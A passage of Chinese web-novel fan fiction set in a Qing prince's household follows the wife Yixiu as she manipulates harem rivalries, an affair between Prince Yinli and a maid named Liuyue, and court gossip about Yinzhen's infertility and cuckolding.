齐月宾慌忙解释道:“柔则妹妹误会了,只是王爷待妹妹一如往常,只怕妹妹误会了我的来意罢了。” 柔则低低的笑了两声,眼神看向齐月宾身后的方向。 “听闻年侧福晋深得王爷宠爱,想来,也是没有空见姐姐的,是不是?” 齐月宾张了张嘴,后头传来一声带着笑意的声音说道:“自然是。” 柔则走到吉祥跟前,不顾阻拦的打开了她手里的食盒:“年侧福晋,这瞧着像是齐格格的手艺,您可要尝一尝?” 年世兰早就不耐烦这位总是像狗皮膏药似的格格了,她挥了挥手,用帕子掩住口鼻面上带了嫌弃:“什么脏的臭的,乌侍妾若是喜欢,便自个儿享用吧!” 说着,年世兰的胳膊被院子里头的人拽了一下,她也没有挣扎,随着那力道身影消失在院门后头。 “和她们有什么说的?墙头草罢了,少去打交道,平白沾了晦气,叶子牌都能输上几轮!” “这可如何是好?!你们再等我一下,我去用玫瑰汁子泡个手再来!” 院子里的声音并未避讳外头的人,柔则和齐月宾都分的清,里头那个说话夹枪带棒的,是苗侧福晋。 “原是你一厢情愿啊。” 柔则把手里的点心碾碎随意的扔在了地上,拿过芳禾递上的那块干净的帕子,仔细的擦干净了手。 看着齐月宾有些涨红的面色越瞧越觉得有趣。 “争宠争不过,讲情分爷也不爱听,只会用这些下三滥的手段蹭些不属于你的宠爱,齐月宾,你可真可怜。” 人情冷暖四个字柔则也算是体验感拉满了。虽说以前和齐月宾交好时没给她多少肉汤,但她自认也不算小气。 除了男人,不管是名家古迹还是瓷器玉石自己可没有吝啬过。不然就凭她这个幼年就进宫被看管起来的格格,能舒坦的在王府里头过日子?真当她柔则不知道胤禛有多抠门吗? 对自己并不宠爱的女人,那是恨不得份例都是捡着破烂送的,怎么可能叫她过的这么痛快。 如今可倒好,树倒猢狲散,没想到第一个散的,竟然是一直以知心姐姐为面的齐月宾。 就算她身份尴尬,她齐月宾就是什么上的了台面的人物了吗?什么怕被连累都是假话,不过是看她如今没了利用价值才不闻不问罢了。 巴巴的捧着年侧福晋有什么用,论家世,苗侧福晋和那位才叫志同道合呢。 “我原想着,妹妹你身陷囹圄,若我能在爷面前能说上两句话就好。只是我位卑言轻,又不得王爷喜爱,便只能另择他法。妹妹你怨我也是应当的,是我没有做好。” 两人所处的石板路一旁有一丛金镶玉竹,这路也有个好听的名字,叫登高路。 只是只顾抒情的齐月宾忘了,这登高路的另一端,是正院后头的小花园。那本是胤禛为了和柔则附庸风雅,推了一个小院子建成的亭台花园。 而如今正院被宜修接手,由于还算认同胤禛的品味,这里只稍作打扫,换下了那些格外素雅的装饰,成为了宜修和弘晖玩乐的地方。 很巧,齐月宾在被柔则抓到的第一时间宜修就收到了消息。 而她也没有浪费这个难得的机会,叫下人搬了椅子泡了茶,边听乐子边赏花。 “当真是真情流露,齐格格不去做戏子可是戏园子好大的损失啊!” 隐隐绰绰的声音传来,齐月宾和柔则瞬间变了脸色。 不过柔则还好,她都接受了身为嫡女要去给家里的庶妹请安,还有什么听不得的呢? “福晋倒是好兴致,妾身就先告退了。” 柔则把手里捏着的荷包砸到了齐月宾的脸上,冷笑一声直接离开。 齐月宾的大脑一片空白,只觉得自己不应该是这般。 她快速的认清了现实,知道如今不管是柔则还是年世兰都不可能按照她预想那般行事,便打算按兵不动,以待来日。 “少去李格格那里乱晃,齐月宾,你知道我的手段的。” 这后院里唯二收到大量赏赐的,除了年世兰就是李文宁了。齐月宾原本是觉得柔则还活着,一个五分像的格格应当不如年羹尧的妹妹对胤禛的影响更大,这才选择了年世兰。 不过现在,她的谋划落空,难保她不把主意打到李文宁身上。 齐格格咬了咬唇,顺着金镶玉竹的缝隙看去,并没有见到那个身影。 “福晋说的什么?妾身不明白。” 齐月宾从来都不是认命的,宜修很了解。 “既然不明白,那就用眼睛看。” 多好啊,宜修就喜欢这种有韧劲的人,作为上位者,真的很爱拉扯有弹性的戏码,比外头的话本子,还要热闹的多。 后院的热闹终归只是像仙女棒一样短暂又没有力量。 真要听二踢脚的动静,还得看咱们胤禛。 弘晖在宫里头越住时间越长。而同一时期的弘晸和弘旺,已经换回了普通小阿哥的作息,回到自己府里住着。 尤其是经过了毙鹰事件的胤禩也沉寂下去,前朝在不可思议和更不可思议之间来回犹疑。 不可思议的是弘晖,毕竟皇上有那么些儿子,传位给孙子的事实在叫他们不敢相信。 但更不可思议的是雍亲王。 弘晖阿哥的生辰当阿玛的没能及时赶到就算了,九阿哥亲自去前院叫人,竟然发现了雍亲王在儿子的生辰宴上和一个神似先福晋的婢女搞到了一起。 最最神奇的是,这位婢女的女儿,竟然和十七阿哥又是知己好友。 而据当时参加弘晖阿哥生辰宴的同僚讲,十七阿哥在侄子宣布开宴没多久,跑到了自家四哥后院花园和这位名柳月的女子花前谈心。 这位柳月又是二阿哥身边伺候的婢女,虽然这位乌侍妾到底是谁外头没有明说,但当时雍亲王先福晋去世那朴素的样子比普通人家都不如,大家心里都有揣测。 又是乌侍妾,基本上所有人心里都有一连串的猜想。 乌侍妾儿子的婢女和十七阿哥...... 而这位婢女又是雍亲王前院暖床婢女的女儿...... 不是,这事是不是有点乱? 第339 章 宜修24 从原剧中就能看出来,胤礼经常在老四的后院晃荡,而老四习以为常。 如今虽然没有登基,但胤禛人憎狗嫌的体质不仅没有改变,甚至还成倍数的加强。所以在没有兄弟愿意和他私下往来的情况下,胤礼的出现就显得格外的珍贵。 再加上胤礼的年纪并不算大,只是因为舒妃病逝被康熙嫌弃,连个爵位都没给就扔出了宫,每日跟着那些小崩豆一样的小阿哥去尚书房读书,没有公务也没有人看重。 这不,两个人就这么惺惺相惜了起来。 胤礼又是个喜欢晃悠的,一来二去,就跟经常躲在花园角落读书的柳月熟络了起来。 “多谢你了,我该回去了。” 柳月不再是甄家那个衣食无忧的大小姐,她经历了坎坷内心早就飞速成长。 不愿意被当奴唤婢的卑微一生,自从遇到了十七阿哥,她就知道,她的转机来了。 “三日后我还要来找四哥下棋,你若是想要看什么书,可告诉我。” 其实胤礼喜欢的并非眼前的柳月,而是那位妙语连珠神妃仙子似的乌侍妾。 只是那位乌侍妾的身份不好说,但规矩体统教养良好。从不在花园里乱转,遇到他也只不过客气招呼。不似在四哥身边那般,眼睛里都是细碎的微光。 柳月先是眼睛一亮,紧接着又目露苦恼的微微抿唇摇头:“不劳费心了,能得空的日子不多,我还有活儿要做,失陪了。” 胤礼看着柳月的背影消失在眼前,不知想到了什么,嘴角有了些笑意。 不光是后院,前院的风吹草动宜修都知道的一清二楚,柳月那点不入流的小道行只能作为她和弘晖茶余饭后的笑话罢了。 “听明白什么了吗?” 宜修看着弘晖还稚嫩的脸蛋随口提问。 其实她并不反感柳月的小动作,毕竟想过好日子是每个人最淳朴的梦想。 但宜修希望弘晖有能力识破,并且在自己能力范围内选择是否接受这种有明显陷阱的红粉骷髅。 毕竟就算是池烟,在面对一个只要钱的帅哥也很难拒绝。食色性也,人有欲望,不必羞于承认。只不过能力范围内可以允许合心意的美色有算计而已。 “明白了,柳月是在说自己身不由己为奴为婢命苦,潜意识里是希望十七叔可以救她于水火。” 弘晖必须成长,想要快乐就放弃权利,想要权利就得放弃童真。他们娘俩可没有什么太大的底牌,走在悬崖边上,靠的都是算计。 宜修点了点头,她本意是想让胤禛去抢儿子的婢女,但是没想到胤礼横插一脚,效果也特别的棒。 “看着就是,算计到咱们身上的,以百倍还之,算计到别人身上的,轻轻动手变成自己喜欢的戏码。咱们不能做那火上浇油或添柴的事,但可以做那看不见的风,把火苗吹到咱们想要看到的方向。” 弘晖若有所思的看着手里的资治通鉴,想来是有了自己的思考。 而宜修却不觉得胤礼会真的去胤禛那里要一个婢女,若是她没猜错,胤礼还是觉得登位的,最后会是这位四哥。 那柳月那张脸,有很大的可能会进后宫。 如此想来,狸猫换太子这故事,胤礼还是打算上演了? 兄弟俩可真是热闹啊,这么看来,她可得给胤礼多制造些机会了。 毕竟,胤禛还抱着自己能生的想法不断耕耘.....哦不,不断叮一下的。 为了不叫胤禛失望,宜修觉得在孩子生下来之前都不告诉胤禛他不能生了,不能剥夺一个人快乐的权利嘛!她可真是善良啊! 母子俩的思维不断扩散,不过很一致的,没有阻止胤礼那些不入流的小动作的打算。 毕竟如今的胤禛连个能说贴心话的人都没有,实在可怜。 康熙五十八年,胤禛的后院仍旧没有一点喜讯。 康熙是个极爱面子的帝王,他不能对外展示是自己儿子的问题,便把罪责归咎到可怜的女人们身上。 不过还好,他也只是又送进来了几个格格,除了柔则和绾卿,无人在意。 “皇上就算再努力又有什么用?咱们爷那玩意儿和清水似的,能有什么用?” 费格格小嘴叭叭的,不过理智尚存,知道控制音量。 年世兰看了她一眼,庆幸今天是在自己院子里玩儿,还算安全。 “你当皇上不知道吗?这不是求孙子,这是堵外头人的悠悠之口。” 曹琴默可不相信皇上不知道雍亲王那儿受伤的事,毕竟那么大动静,听闻太医都叫来了好几个呢。 既然知道,还不断的送妾室进来,不就是为了维持那点破碎的虚荣心吗? 冯若昭点了点头,看着手里的牌轻声说道:“知道就行了,跟咱们有什么关系。都想想明儿吃些什么吧!” 明儿是福晋去理亲王府赴宴的日子,以往只要福晋出门赴宴,定也会给她们弄一桌席面。 尤其是福晋为了弘晖阿哥调养身子琢磨了不少口味独特的吃食,叫年世兰这个有钱的都买不到这样新奇的美味。 “要我说,上次吃的那个包着小饼的烤肉就不错,想吃什么就吃什么,再要坛子葡萄酒,那可真是神仙都不换的日子。” 酒蒙子耿格格继苗侧福晋后成为了年世兰第二个好朋友。因为两个人都是能喝的,十分乐意凑一起交流一下喝酒的心得。 “这个好,咱们凑凑钱怎么样?京郊庄子的羊不如蒙古送来的羊好吃。” 年世兰完全把自己放在了一个合格的妾室的位置,她有求于宜修的时候态度都十分的诚恳,不是送钱就是送钱。 在没有其他生存或关于荣耀的烦恼时,吃,是所有人最大的事。 宜修和胤禟关系不错,手里确实有蒙古的小羊资源。年世兰用两枚金元宝换了一只活蹦乱跳的羊,并且作为妾室的代表人,申请了一桌烤肉的席面。 “知道了,决定好在哪个院子吃了吗?” 毕竟有些烟味,若是人多些,年世兰应当不会选择自己的院子。 显然,年世兰忘记了这个问题,她也没有和大家商量就来了。 宜修见状也没有催促,只是建议道:“后院万寿石那里不是有间雅阁,景儿好正适合你们。” 年世兰立刻点了点头,头上的步摇跟着晃。 “好福晋,您铺子里的葡萄酒咱们都买不到,不知您手里还有没有多余的了?妾身想买来尝尝。” 这葡萄酒是因为宜修知道康熙喜欢喝,才打着孝心的旗号折腾出来的。 过了康熙的手,卖给达官贵胄,那利润,简直比地上捡钱更容易。 年世兰和苗侧福晋几人都是不差钱的,几个人凑出来一匣子金元宝,被年世兰放到了宜修手边。 宜修点了点桌子:“叫你们的奴才都机灵点。” 这便是不拦着的意思了,年世兰再次在心里感慨,有个好的福晋是多么重要的一件事啊! 至于王爷,也行吧,毕竟晚上也浪费不了多少时间,最多就是辛苦点装一装,也不是不能忍。 第340 章 宜修25 本不算熟络的夫妻俩人中年焕新生,倒是比原先客气疏离的副酸掉牙的模样瞧着舒服自然多了。 理亲王福晋本就不是严格意义上的大家闺秀,她出身瓜尔佳氏,自小受过十分优秀的教育,说上一句文能提笔安天下,武能上马定乾坤也不为过。 在宫里被磨平的生命力也回到了身上,夫妻俩仗着康熙那份掺杂着利益和愧疚的父爱,置办了不少产业,如今这日子也是过的风生水起,精神面貌完全不同往日。 宜修带着一份合适的贽礼来到理亲王府,入目是一个刻画了麒麟的影壁在红砖绿瓦的大门正前方,象征着吉祥太平和长寿,这大概也是理亲王的心愿吧。 跟着领路的太监穿过垂花门,来到今日小聚的福禄山处。 这是理亲王府东边的院景,正值初夏,假山,小池,流水和缀了金玲的流云亭,被轻纱挡住的阳光透过缝隙偷偷的打在二福晋的肩头,随着二福晋的动作,折射出耳边那点点流光。 “二嫂,可是我来晚了?” 亭子里已经坐了几个人,听到动静齐齐的转过头,冲着宜修露出了和善又打趣的笑意。 “可不是来晚了?若是没有两杯玫瑰酒,今日上好的鹿肉可就不分给你了。” 二福晋示意身旁的婢女端了两杯甜酒来,笑看着宜修做得理不饶人状:“喏,大家可就等你了。” 宜修也没有推脱,那小小的酒杯还不够嘴里的口水多,便是两口也不过一口水的量。更别说这只是度数极低的玫瑰酒,甜滋滋的,她自己能喝一坛子。 “那可真是我的错儿了,这就跟嫂子们和弟妹们赔罪了。” 她两口就解决了这甜酒,利索爽朗的做派十分叫大家喜欢。 说笑着,八福晋凑过来递给她一盘漂亮的红豆糕:“垫一垫,虽然这酒不醉人,但空着喝也不好。” 宜修没有拂了八福晋的好意,捻起一块尝了尝,不说特别好吃,但比宫里那些甜的齁人的点心好多了。 “你瞧你,最近是不是休息不好?” 宜修看着八福晋明显消瘦了不少的身子有些担忧,拉着她的手坐到了临水的木凳上。 八福晋摸了摸眼角,也知道最近的状态差了些。她今日本不想来的,但胤禩把她劝了出来。 “还是老样子,我家爷反反复复的高热,我哪里睡得好。” 胤禩被自家亲亲皇阿玛说的‘系辛者库贱婢所生,自幼心高阴险。自此朕与胤禩,父子之恩绝矣’,那番话给伤到了,回府不吃不喝关在房里许久。 若不是弘旺在外头哭着要阿玛,八福晋想,胤禩说不得都不想走出那个门了。 宜修在心里撇了撇嘴,老康那个嘴,真是不管哪个世界看都是堪比顶级毒药的存在。 “这些事我确实不好劝慰你们,但是经过弘晖那次生病,我便知道一个道理,活着,为自己活着,才是正经。人活着,没有过不去的坎。” 面前的八福晋救了弘晖,这份情宜修不会忘的。 八福晋拍了拍宜修的手,低着头用帕子擦了擦眼睛:“你说的有理,放心吧四嫂。” 正说着,池子里的锦鲤突然蹦出了水面,溅在阳光下的水珠格外的漂亮。 “你们两个偷偷摸摸的说什么呢?还不过来一起。” 见着八福晋的脸色放松了些许,二福晋扬声喊道,拉着宜修一起往亭子外头走,说是要比赛投壶才能决定今天的午膳分配给她几块肉。 “二嫂就准备着,弟妹我啊,今儿可是要敞开了吃了。” 投壶,那可是上个世界最小儿科的玩意儿了,宜修手拿把掐。 “哎呀,口出狂言了不是?四弟妹咱俩比一下?” 二福晋挑了挑眉,冲着宜修下了战书。 “好啊,下不下赌注?” 九福晋凑上来笑着站到了二福晋身后:“那我可要压二嫂了,四嫂对不住了。” 三福晋和八福晋站到了宜修身边也笑了起来:“那这么说,我们可得支持你了,你可别叫我血本无归啊。” 大家随意把自己的镯子或簪子摘下来放到一旁婢女的托盘上,便围在了这里。 二福晋果然厉害,只是在宫里闷的太久了,手法生疏了许多。 不像宜修,上个世界玩到老,这个世界为了给弘晖锻炼身体,也玩了几年,十分的熟练。 “今儿咱们的魁首就是我了,大家这彩头,我就笑纳了。” 虽然前朝情势越来越紧张,毕竟皇上的身子也较前几年虚弱了许多。但妯娌们之间的关系却越发的好,一是绝大部分人家的爷们都被皇上踢出核心竞争圈,二是宜修实在会做人,即便外头的龃龉再多,大家也不愿带进来影响自己的心情。 理亲王过来晃了一圈,一院子叽叽喳喳的动静吵的他头痛,坐了片刻又带着十三跑到前院下棋去了。 “三哥今儿不是说过来?” 胤祥捏着白玉的棋子一边思索一边说着闲话。 胤礽倒是瞧着轻松的多,他整个人懒散的靠在后头的迎枕上,一只手甩着一把折扇,另一只手端着茶盏晃了晃。 “下头人送来两本古籍,给他送过去人就消失了。” 这个老三什么都好,唯独这一点,见了这个古籍脑子就跟不转圈似的,根本叫不出来。 胤祥了然的点了点头,犹疑着把手里的棋子放在了棋盘上。 胤礽紧跟着把黑子落下,一点不带思考的。 胤祥叹了口气,只能继续捏着棋子思索。 理亲王府的热闹和外头无关,雍亲王府有自己的大戏。 宜修特意嘱咐了雅阁的下人提前收拾好了地方,给年世兰等人准备出来一个通风宽敞又能赏景的好地儿。 后院的女人大部分都跟宜修的关系还不错,除了柔则和齐月宾,剩下的人都在年世兰邀请之列。 她喜欢热闹,再加上今天这桌席面完全是年世兰掏钱,所以宜修并没有过多的插手。 “咱们府里的景儿还是有些寡淡了,虽然雅致,但着实少些味道。” 执着酒杯,年世兰对外头的景色表示了嫌弃。她向来喜欢热烈奔放的,对素雅一道敬谢不敏。 苗侧福晋把小碟子上的肉吃了个精光,放松的靠在椅背上,手上的团扇有一搭无一搭的晃悠着,闻言轻笑了一声:“那你去找王爷说去,如今王爷用的上你哥哥,说不准会为了你哥哥讨你欢心呢。” 正在喝酒的甘格格和冯格格同时咳出了声,两个人用帕子捂住了脸,不叫自己的笑容被其她人看到。 曹格格无奈的叹了口气:“福晋虽然出门赴宴了,但今日王爷在呢。” 一句话叫热闹的气氛降温了下来,大家撇嘴的撇嘴翻白眼的翻白眼,动作和年侧福晋一样,一看就学出了精髓。 “倒也不用这么小心。” 不知道钮钴禄格格是怎么被李文宁发现那端着的架子下有些神经的体质,一到了小聚的时候,大家总不忘叫她一起来说两句。 这话一出,就连一向谨慎的曹琴默和冯若昭都看了过来。 钮钴禄格格优雅的给自己的小饼上放了肉又放了葱丝,慢悠悠的样子格外欠揍。 “王爷在是不假,十七阿哥不也在?兄弟俩总躲在房里,谁知道是做什么呢?哪有空理咱们。” 钮钴禄格格丝毫不知道自己说出了什么惊天动地的言落,她一口吞了那个美味的小饼,点了点头,觉得这次的葱丝放的刚刚好。 第341 章 宜修26 被困在这王府里即使吃喝不愁,精神上的空虚还是叫大家的接受力越来越包容。 吕格格顺着钮钴禄格格的话发散了思路,若有所思的往西边看了看:“所以才对那位婢女格外不同?” 想起那位经常在后院花园晃荡的十七阿哥,众人都觉得实在厌烦。 谁家的小叔子会在自己哥哥的后院不避嫌的来回穿梭呢?还真是什么奇形怪状的男人都叫她们赶上了。 后进府的几人都把同情的眼神放在了苗侧福晋和李侧福晋身上。 一门心思顾着吃,刚刚抬头参与话题的李静言有些懵:“怎么了这是?” 李文宁身子往李静言身边靠了靠,压低了声音问道:“咱们府上,一向这么不讲究吗?” 李静言和苗侧福晋对视了一眼,脱口而出:“咱们府上什么时候讲究过?” 苗侧福晋和甘格格算的上是这些人里最有资历的了,以两人为中心,众人把她们团团围住,嘀嘀咕咕的时不时传出‘哦!’‘啊!’‘咦!’等或惊讶或嫌弃的动静。 只是她们突然安静下来,外头的声音就有些明显。 “嘘。” 耿格格竖起一根手指,指了指外头。 雍亲王府有个不小的水景,名泰河。雅阁在泰河的西边,后头是一片盛开的锦带花。这边的景虽好,但实际上是有些偏远的,平常很少有人来这,除了值守的奴才。 随着耿格格的动作,大家也渐渐安静下来。雅阁窗上的青纱成为了最好的道具,透声不透人。 “嬛儿,这是我近日新得的珊瑚手串,你看看,可还喜欢?” 嬛儿?嬛儿是谁? 众人满头雾水,她们一直认为十七阿哥瞎了眼看上了一个奴才秧子,结果现在又冒出了一个嬛儿。 “这太贵重了,十七阿哥,奴婢不能收。” 原来还是个奴才,年世兰翻了个白眼,对着众人撇了撇嘴,好矫情啊,你都跟着人家躲到这角落里幽会了,还作出什么贞洁烈女的样子呢?太违和了吧! 李文宁嘴角翘了翘,这套路怎么有些熟悉呢?怎么那么像家里的姨母说的话? “你还不懂我的心吗?这些俗物在我眼里远抵不过一个你。我不在乎那些世俗的眼光,我要的,只不过是一个可以说知心话的人罢了。” 对面的女子究竟是谁,有没有被感动这些人不知道,她们只觉得今日的肉有些糊嗓子。 “我自然知道你不是那等铜臭的俗人,只是我身份卑微,不敢做他想。” 苗侧福晋辣评:不敢做他想你来这赴约干什么? 半晌没有听到声音,年世兰几人还觉得有些奇怪,刚想各自散去,就听到一阵娇嗔:“你做什么?万一被人看到了。” 费云烟睁大眼睛扫视了一圈姐妹,一只手碰碰自己的嘴激动的摇了摇头。 沉默是今天的烤肉,就连一向谨慎的曹琴默和冯若昭都不知道说些什么好了。 你说这事,上去抓奸?福晋不在府里头,王爷又是个靠不住的,万一选择保弟弟把她们病逝了呢? 但是不去看一眼,对面那女子到底是谁,她们实在好奇的很啊! “嬛儿,委屈你在此处了,我也想把你带走,但你的身份.....四哥那里你可能也清楚,他是不会放你走的。” 胤礼的声音低沉下来,叫偷听的人头脑不停的转动,到底是什么身份?难不成是王爷的妾室? 可是今日没来的,不就只有齐格格和乌侍妾? 大家的眼神飘啊飘,每个人的脑袋里都有不同的故事。 “可是,可是王爷已经有了我娘还不够吗?” 娘?! 府里哪有这么大的格格。 所以,这位就是那位绾卿的女儿柳月?那十七阿哥为什么叫她嬛儿? 这疑团越来越大,听的人越来越懵。 “嬛儿,我会努力,你相信我,好吗?” 众人:翻白眼,怎么越听越觉得噎的慌呢? 外头的声音再次消失,年世兰失了兴趣,坐到自个儿的椅子上喝了一杯酒。 “一对儿不知所谓野鸳鸯,这要是福晋在府上,早给他们连窝都端了。” 曹琴默和冯若昭对视了一眼,总觉得奇奇怪怪的。福晋对整个雍亲王府都了如指掌,会不知道十七阿哥和柳月的事吗? 而且自十七阿哥来找她们家王爷以来,福晋提醒过几次少去花园溜达。 那位总是受宠的乌侍妾,前院的绾卿,婢女柳月,总觉得像是福晋有任她们放肆的样子。 “好了好了,散了吧,幸好福晋提醒我带够了下人,不然你们喝成这个样子,还不把屋顶掀翻了。” 听墙角时众人的理智和谨慎完全消失,酒气上头,一个个走路都有些打晃。 曹格格和冯格格虽然喝的少些,但也觉得脚下有些飘忽了,便也不动声色的随着侍女的搀扶回到自个儿小院子歇息下来。没有福晋的允许,她们是不会乱说的。 只是这一幕,真的只有年世兰等几个妾室看到吗? 宜修在理亲王府端着一盏花茶笑的温和又惬意。 “弘皙和昭平不是在你们府上?也不知道四弟能不能看好这些孩子。” 二福晋有些担忧的说了一句,孩子们其实大了不怎么需要多惦记,只是这个四弟实在不靠谱。 若不是弘晸几人念叨着雍亲王府的玩意儿,她可不放心把孩子放到胤禛眼皮子底下。 “隔壁就是八弟的府邸,放心吧二嫂。” 二福晋笑着点了点头没有接话,老八这人别管有多少毛病,但在对待孩子上,绝对是比老四靠谱的多。 雍亲王府。 等到所有人都散了去,弘皙才一言难尽的带着弟弟妹妹们站起了身。 看着一脸无措的弘晖拍了拍他的肩膀:“不怪你,是弘暄说要来见识一下四叔的泰河的,咱们也没想到......” 弘皙有些无奈的闭上了嘴,谁能想到这四叔府里的热闹能如此不重样的一扬接着一扬呢? 弘晸和弘暄的小眼珠子滴溜溜的转,弘晖一眼就知道这两人没打什么好主意。 但是他只做不知。这个阿玛丢人也不是一次两次,想来多一次他也不在乎。 “额娘说了几次十七叔年岁大了在后院于礼不合,但阿玛......唉,哥哥姐姐弟弟们多多包涵吧。” 有这样一个阿玛确实很叫人头痛了,弘皙等人表示理解。 但是这并不代表他们会守口如瓶。 不过短短一天,胤禛喜欢给自己戴绿帽子的消息就在兄弟们之间传开了。 宜修轻轻拍了拍自己的袖口,对于老八老九几人按耐不发的行为表示了赞扬。 都是好弟弟啊,知道给四哥送儿子了,为了看扬大笑话强忍着不说老四坏话的日子是有些难受了。 不过,做坏事的时候,大家都格外有耐心。 第342 章 宜修27 只是如今连胤祥都跟他疏远了许多,身边只有一个十七弟胤礼,更是醉心山水无心闲言的人,哪里会知道,自己头上的瓜皮小帽在大家眼里已经是绿油油的一片了。 胤礽如今上朝也是三天打鱼两天晒网的,不是他不敬业。而是心脉受损受不得累,夏天热了得歇着,冬天冷了得歇着,秋风寒了得歇着,春雨急了也得歇着。 康熙如今把胤礽当做琉璃宝贝,对他这番行径无有不应,甚至还派了太医住在了理亲王府,为宝贝儿子温养着身子。 今日是个难得的阴天,晨风微微的凉意叫人毛孔里都透露着舒爽。 自从弘皙带回来那惊天地泣鬼神的消息也有几日了,前朝并未听到什么流言蜚语,想来这些个弟弟也是擎等着今后更大的热闹。 只是光想一想,胤礽就觉得有趣。 他换好了衣裳打算今日去朝堂上晃荡一圈,看一看自己那好弟弟的脸色是不是如想象中的一样绿。 他难得来的早些,看着以往懒散的九弟和十弟也站在了大殿中,心里头都是了然的笑意。 “四弟今日可是晚了。” 老四一向勤勉,今儿居然比老九来的还晚,还挺稀奇。 “二哥有所不知,四哥近日身子不爽,所以都格外的晚些。” 胤禟一副为胤禛辩解的模样,如果嘴角的笑意能收敛一下就更可信了。 胤礽配合着用关怀的眼神看向胤禛:“怎么了?跟二哥说说,二哥虽然不是太子了,但给弟弟请个太医还是容易的。” 听着两人你来我往的配合,胤禛扯了扯嘴角,尽力让自己看起来自然一些。 “无妨,不过是睡得轻,有些疲累而已。” 虽然康熙并没有表现出特别看重胤禛的样子,但如今朝堂上能用的儿子也不多了,胤禛其实很有自信自己可以登上那个位置。 尽管言语里已经格外注意,但那份最后的胜利者的得意还是会偶尔泄露一二。 胤礽见状冷笑两声,说句不好听的,他现在就是大清的吉祥物,就连他皇阿玛看见他咳嗽两声都得放低音量呢,老四算个什么东西。 “老四啊,是不是为了子嗣操劳啊,这事可不能讳疾忌医,要不要二哥给你找来个太医看看?” 原本胤礽也是背后看乐子的,本没有打算做推手推动绿帽子的情节发展。但胤禛那德行实在叫他恶心,这才添油加醋说上一句,保管老四有个绿油油的未来。 胤禛果然瞬间变脸,他强忍着怒气说了一句‘不劳二哥关心’的话便不再开口。 胤禟和胤?小心翼翼的往后退了退,不打算引起胤礽的注意力。 从前这个二哥就是一座大山,如今仍旧是如此。 胤礽的嘲讽果然很有效果,胤禛回府后就拉着妾室们轮圈的睡觉。成效暂时没见到,只是在众位侧福晋格格心里又平添了一份嫌弃倒是真的。 宜修得了二福晋的信儿心里有了数,看来没有戏码的日子大家都有些无聊,那就隆重有请咱们的最佳绿帽子获得者老四,给大家倾情演绎一段‘颗粒无收’‘自带自帽’等系列连续剧吧。 理亲王回到府上才想起来雍亲王府还有一个可怜的四弟妹,也不知道这位温顺的四弟妹知道了老四的绿帽子是哭还是笑。 秉承着交好弘晖的由头,还是叫二福晋送了信过去。不过并未说的太清楚,只说邀请宜修带着弘晖和孩子们一起去静明园避暑。 静明园位于西郊的玉泉山,是康熙扩建又修缮的园子,给了胤礽。 二福晋此举也是为了把宜修带出去,好给雍亲王府里的人有地儿折腾。 宜修交待了几句,带着弘晖,弘时和文华(苗侧福晋的女儿)一同出门,表面上一点不掺和这些污遭的事。 年世兰的院子里,几个人穿着清凉闲适的靠在榻上,由着婢女轻轻扇着风,冰鉴里带来的凉意抚平了大家的烦躁。 “咱们都警醒着点,福晋既然叫咱们不要乱跑,那定是有她的用意。” 冯若昭开口有些担忧的提醒了一句,总觉得这个夏天会很刺激。 苗侧福晋和李静言叉了块西瓜懒洋洋的啃着,漂亮的眼睛里带着困倦和迷茫轻轻的点了点头。 昨晚儿几个人本来约了打叶子牌,没想到王爷突然到了李静言的院子,打乱了大家的计划,凑在一起蛐蛐了大半夜的胤禛,今天都有些无精打采的。 至于李静言没有力气,那纯是没睡好。 任谁刚要睡着被作弄起来亲亲摸摸的弄出一身火气再入睡都很困难。 最困难的是,好不容易消了火,又被蹭了一身口水。反反复复,消耗了一个美好的夜晚。 “这么热的天,我早上来这里躺着,晚上再回我的院子躺着,是绝不会多走一步路的。” 弘时也被福晋带走了,李静言彻底没了束缚,恨不得直接住在年世兰这里才好。 “在我这好,还能听曲儿呢。” 年世兰嫌弃的说着,她最近添了一个听话本子的爱好,每晚都要听上好久,就靠着白天补觉。 但自从福晋离开后,雍亲王府就快变成了十七阿哥府,那十七阿哥是白天也吹晚上也吹。 这就罢了,光吹笛不算,王爷也跟着用琴合奏。 甚至还有几次周宁海看到了乐器合奏之像,她只能说雍亲王还是太有包容心了,可以允许自己的妾室跟自己的弟弟一起合奏。 哦这太片面了,明明还有婢女。 “十七阿哥的笛,王爷的琴,乌侍妾的琵琶,绾卿的筝,柳月的箫。有时候真恨自己不会爬树,不能亲眼看到这千载难逢的景象。” 吕格格感叹一声,进入王府这么些年,也算是见多了风风雨雨,这种关乎伦理又不知道是不是真的守礼的扬面还真没见过。 这种小扬面就值得几人蛐蛐了好些天,若是宜修知道了,指定会嘲笑她们没见识。 毕竟,柔则肯屈尊降贵的和她看不上眼的人合奏,不就是宜修挑拨的吗? 不过是叫芳禾在柔则耳边念叨几句若是绾卿有孕,怕是能得一个格格的身份,就叫柔则不仅卯足了精神的争宠,还更加变本加厉的磋磨柳月。 而柳月在不堪重负下频繁的和胤礼眉目传情,加剧了胤礼对自己计划的信心。 只是几人都忽略了绾卿,她年纪不小了,又生过两个女儿。如今不过是王爷的暖床丫鬟,如果没有个孩子,今后怎么在王府立足? 一个乐器小团体各怀鬼胎,每个人都有自己的算计。 柔则虽然嫌弃胤禛现在不中用,但好歹还有东西,不想让绾卿有孕,便自己日夜缠磨着胤禛使他不得脱身。 而她这番作态,倒是给了胤礼机会。 第343 章 宜修28 不过最近胤禛也没那个精力,他被柔则痴缠的厉害,恨不得日日夜夜的和柔则在一起才好。 柳月得了空,便跑到雅阁后头锦带花处和胤礼幽会,一个有心勾引,一个有心攀附,两个人幕天席地的,就差最后那一个步骤。 她面上带着薄红来到前院自家额娘住的地方,按理说这根本不是她能来的地方,但偏偏胤禛是个糊涂蛋,对绾卿和柳月格外的优待。 “娘,你这是怎么了?” 柳月看着一脸愁容的娘亲连忙关上门凑了过去。 绾卿拉着柳月的手摩挲着:“娘到了这个岁数,没皮没脸的跟着王爷,不过是想为你和花影挣个好些的前程。” 柳月心疼的抱住绾卿,她一点都不觉得自家娘亲做的哪里不对,若不是生活所迫,谁愿意过这种寄人篱下为奴为婢的日子。 “娘,雍亲王府只有三个阿哥,娘又一直得宠,若是,若是能给王爷添个儿子,咱们兴许就不用看人脸色了。” 十四岁的柳月已经有了一套自己的逻辑,她冷静的分析着目前王府的局势,唯有子嗣才是破局之法。 绾卿赞同的点了点头,她很欣慰自己女儿即使在这样艰苦的环境里仍旧能优秀的成长。 “儿子若是这么好添,也不会叫皇上赐下来那么多侍妾格格了。” 绾卿的声音很轻,经历了两个男人,她懂得比柳月要多的多。王爷那里,怕是不行。 